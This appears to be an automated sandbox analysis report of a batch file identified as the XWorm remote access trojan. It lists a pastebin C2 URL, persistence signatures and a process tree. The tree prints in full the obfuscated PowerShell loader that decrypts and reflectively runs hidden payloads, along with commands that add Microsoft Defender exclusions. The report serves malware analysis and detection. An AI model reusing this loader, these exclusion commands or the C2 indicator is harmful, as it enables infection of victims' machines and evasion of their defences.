Analysis

  • max time kernel
    142s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/06/2024, 12:47

General

  • Target
    $alo.bat
  • Size 304KB
  • Sample240618-p1cwestfrf
  • SHA256 4a3d4b70770002dac061db3a9b9f1fabff661358de74346525188f93c9bbf662
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • https://pastebin.com/raw/PG3MaVGP:123456789

Attributes
  • Install_directory

    %AppData%

  • install_file

    dllhost.exe

  • pastebin_url

    https://pastebin.com/raw/PG3MaVGP

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$alo.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4432
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:1680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1b5BkX/78OlDqnTmjOZI7bvjKcQ98xaicbhOo1/Lbks='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VXwcNCOU7Ggzqt67T0kzuA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zPSoA=New-Object System.IO.MemoryStream(,$param_var); $tOMoL=New-Object System.IO.MemoryStream; $qUjRS=New-Object System.IO.Compression.GZipStream($zPSoA, [IO.Compression.CompressionMode]::Decompress); $qUjRS.CopyTo($tOMoL); $qUjRS.Dispose(); $zPSoA.Dispose(); $tOMoL.Dispose(); $tOMoL.ToArray();}function execute_function($param_var,$param2_var){ $gFgAI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WffZs=$gFgAI.EntryPoint; $WffZs.Invoke($null, $param2_var);}$vynhd = 'C:\Users\Admin\AppData\Local\Temp\$alo.bat';$host.UI.RawUI.WindowTitle = $vynhd;$xQsJy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($vynhd).Split([Environment]::NewLine);foreach ($MAsVa in $xQsJy) { if ($MAsVa.StartsWith(':: ')) { $RySgN=$MAsVa.Substring(3); break; }}$payloads_var=[string[]]$RySgN.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:416
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5060

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 6a98fa5e6c5b77722f2bd8c855fd14d6bf545fc35b292252d1dc136b89ed2fee
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_ocgmuj1y.tku.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocgmuj1y.tku.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/416-12-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp

          memory/416-14-0x000002627AA40000-0x000002627AA7A000-memory.dmp

          memory/416-15-0x000002627AA80000-0x000002627AA9A000-memory.dmp

          memory/416-13-0x000002627A7E0000-0x000002627A7E8000-memory.dmp

          memory/416-0-0x00007FFEF8883000-0x00007FFEF8885000-memory.dmp

          memory/416-11-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp

          memory/416-2-0x000002627A7F0000-0x000002627A812000-memory.dmp

          memory/416-68-0x00007FFEF8883000-0x00007FFEF8885000-memory.dmp

          memory/416-69-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp

          memory/1940-25-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp

          memory/1940-26-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp

          memory/1940-29-0x00007FFEF8880000-0x00007FFEF9341000-memory.dmp